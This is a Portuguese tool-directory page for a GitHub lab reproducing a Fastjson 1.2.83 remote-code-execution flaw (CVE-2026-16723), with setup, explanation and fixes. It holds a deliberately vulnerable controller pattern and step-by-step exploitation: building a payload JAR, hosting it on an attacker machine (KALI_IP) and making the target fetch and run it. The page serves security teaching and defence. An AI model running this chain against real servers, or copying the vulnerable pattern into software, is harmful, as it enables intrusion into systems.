Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
fastjson-rce-lab — Fastjson 1.2.83 RCE ambiente de laboratório (CVE-2026-16723) | Kitploit
Ferramentas/GitHubGitHub/why-success/fastjson-rce-lab
Análise de VulnerabilidadesExploração de Aplicações WebCTFAprendizado e EducaçãoLabs e Prática
GitHubwhy-success/fastjson-rce-lab

fastjson-rce-lab

Fastjson 1.2.83 RCE ambiente de laboratório (CVE-2026-16723)

Ver Repositório
3há 24 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ambiente de Laboratório RCE Fastjson 1.2.83 (CVE-2026-16723)

Aviso legal: este laboratório destina-se exclusivamente à pesquisa de segurança, demonstração educacional e construção de defesas em ambientes autorizados. Testar alvos não autorizados pode ser ilegal; o usuário assume total responsabilidade pelas consequências do uso.

Visão geral da vulnerabilidade

ItemConteúdo
CVECVE-2026-16723 (CVSS 9.0)
Versões afetadasFastjson 1.2.68 ~ 1.2.83
Tipo de vulnerabilidadeExecução remota de código por desserialização (RCE)
Característica principalGadget-free (sem depender de nenhuma biblioteca de terceiros)
Requisitos para RCE completoJDK 8 + Spring Boot Fat-JAR + SafeMode desativado

Descrição do ambiente do laboratório

  • Fastjson 1.2.83

    • SafeMode desativado (estado padrão)
  • Empacotamento Spring Boot fat-JAR (contém LaunchedURLClassLoader, componente necessário para a cadeia de exploração)

  • Linha crítica corrigida: antes de chamar JSON.parse(), o ParseController alterna o ClassLoader da thread para LaunchedURLClassLoader (Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader())); este é o pré-requisito necessário para que o caminho de detecção @JSONType consiga carregar classes remotamente

  • São fornecidos dois endpoints de parsing: /parse (JSON.parse) e /parseObject (JSON.parseObject)

Requisitos de ambiente

  • JDK 8 (JDK 8 é obrigatório para RCE completo; com JDK 9+ apenas SSRF é possível, sem RCE completo)
  • Sistema operacional: Windows / Linux / UOS / macOS
  • Memória: mínimo de 256 MB livres

Compilação

Para compilar o fat-JAR a partir do código-fonte (requer JDK 8 + Maven):

root@kitploit:~
git clone https://github.com/why-success/fastjson-rce-lab.git
cd fastjson-rce-lab
mvn clean package -DskipTests

O artefato da compilação fica em target/fastjson-rce-lab.jar.

Se você não tiver Maven, também pode usar o Maven Wrapper incluído no projeto (é necessário configurar mvnw com antecedência).

Início rápido

Windows

root@kitploit:~
# 双击 start.bat
# 或命令行
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target\fastjson-rce-lab.jar --server.port=18080

Linux

root@kitploit:~
chmod +x start.sh
./start.sh

# 或手动启动
ulimit -n 65536
java -Xmx256m -Xms64m -XX:MaxMetaspaceSize=128m -XX:+UseSerialGC -jar target/fastjson-rce-lab.jar --server.port=18080

Sobre --server.port=18080: no ambiente, variáveis como SERVER__PORT podem sobrescrever a configuração da porta em application.properties; especificar o parâmetro de forma forçada na linha de comando garante que a porta fique correta (parâmetros de linha de comando têm prioridade máxima).

Sobre os parâmetros da JVM: -Xmx256m -XX:+UseSerialGC são usados para garantir a execução normal em VMs com pouca memória (ex.: Kali com 2–4 GB), evitando OOM durante a inicialização da JVM. Se a máquina tiver memória suficiente, podem ser removidos.

Verificação da inicialização

root@kitploit:~
curl http://127.0.0.1:18080/status

Resposta esperada:

root@kitploit:~
{
  "fastjsonVersion": "1.2.83",
  "safeMode": false,
  "autoTypeSupport": false,
  "vulnerable": true,
  "javaVersion": "1.8.0_xxx"
}

safeMode: false e vulnerable: true indicam estado vulnerável.

Descrição dos endpoints

Princípio da vulnerabilidade

root@kitploit:~
1. 攻击者发送特制 JSON(@type 指向 jar:http 资源路径)
2. Fastjson checkAutoType() 将 typeName 转为资源路径 "typeName.replace('.', '/') + .class" 做探测
3. getResourceAsStream() 触发 LaunchedURLClassLoader → 发起 HTTP 请求拉取远程 JAR
4. ASM 扫描字节码,发现 @JSONType 注解 → 视为信任信号
5. 跳过危险基类检查 → loadClass() → defineClass()
6. 触发 <clinit> 静态初始化块 → RCE

Código-chave no laboratório

root@kitploit:~
// ParseController.java — /parse 端点
@PostMapping("/parse")
public Map<String, Object> parse(@RequestBody String body) {
    // ⚠️ 这一行是关键:切换到 LaunchedURLClassLoader
    Thread.currentThread().setContextClassLoader(ParserConfig.class.getClassLoader());
    Object obj = JSON.parse(body);
    // ...
}

Sem essa linha setContextClassLoader, o Fastjson usa o AppClassLoader padrão do sistema e não consegue carregar classes remotas via protocolo jar:http://.

Reprodução da exploração

Passo 1: obter a ferramenta PoC

root@kitploit:~
git clone https://github.com/0x7eTeam/fastjson-1.2.83-rce.git
cd fastjson-1.2.83-rce

Passo 2: modificar o GenProbe.java (crítico)

O poc/GenProbe.java incluído no repositório tem dois problemas de compatibilidade já corrigidos:

  1. /bin/bash -c codificado → alterado para a versão genérica Runtime.exec(String) (funciona em Windows/Linux)
  2. Formato de comando multiplataforma: no laboratório Windows, use "cmd /c xxx"; no laboratório Linux, use diretamente "touch /tmp/pwned" ou "bash -c xxx"

Passo 3: gerar o probe.jar e hospedá-lo

O fluxo completo do ataque está em 靶场测试完整指南.md (no mesmo diretório), incluindo:

  • As sete etapas completas do processo de ataque
  • Tabela de consulta rápida de comandos para cada plataforma
  • 6 erros comuns e métodos de diagnóstico

Verificação rápida (exemplo com laboratório Windows)

root@kitploit:~
# 在攻击机(或能编译 Java 的机器)上
cd fastjson-1.2.83-rce
javac -encoding UTF-8 -cp "poc/lib/*" -d poc/classes poc/GenProbe.java
java -cp "poc/classes;poc/lib/asm-9.6.jar;poc/lib/fastjson-1.2.83.jar" GenProbe KALI_IP 19090 "cmd /c calc"

# 将 poc/www/probe 拷到 Kali
# Kali 上启动 HTTP 托管
cd poc/www && python3 -m http.server 19090

# 重启靶场 → Kali 新终端打 exp
python3 poc/exp.py -u http://靶场IP:18080/parse -poc http://KALI_IP:19090/probe

Soluções de correção

Correção emergencial: habilitar o SafeMode

root@kitploit:~
# JVM 启动参数
-Dfastjson.parser.safeMode=true
root@kitploit:~
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);

Correção de longo prazo: migrar para Fastjson 2.x

root@kitploit:~
<dependency>
    <groupId>com.alibaba.fastjson2</groupId>
    <artifactId>fastjson2</artifactId>
    <version>2.x</version>
</dependency>

O Fastjson2 não é afetado por esta vulnerabilidade.

Outras medidas

  • Usar a versão de compilação com.alibaba:fastjson:1.2.83_noneautotype
  • Bloquear o tráfego HTTP de saída do servidor de aplicação
  • Auditar todas as instâncias de dependências do Fastjson 1.x

Referências técnicas

  • Divulgação de Kirill Firsov (@k_firsov): https://x.com/k_firsov/status/2078872293745570032
  • Projeto PoC: https://github.com/0x7eTeam/fastjson-1.2.83-rce
  • Boletim de segurança da Alibaba (2026-07-21)
  • Comunicado de segurança da Tencent Cloud (2026-07-20)
Baixar ferramenta
MétodoCaminhoDescrição
GET/Página inicial do laboratório (HTML)
GET/statusStatus da configuração do Fastjson (JSON)
POST/parseJSON.parse(body) — endpoint principal de acionamento da vulnerabilidade
POST/parseObjectJSON.parseObject(body) — endpoint alternativo de acionamento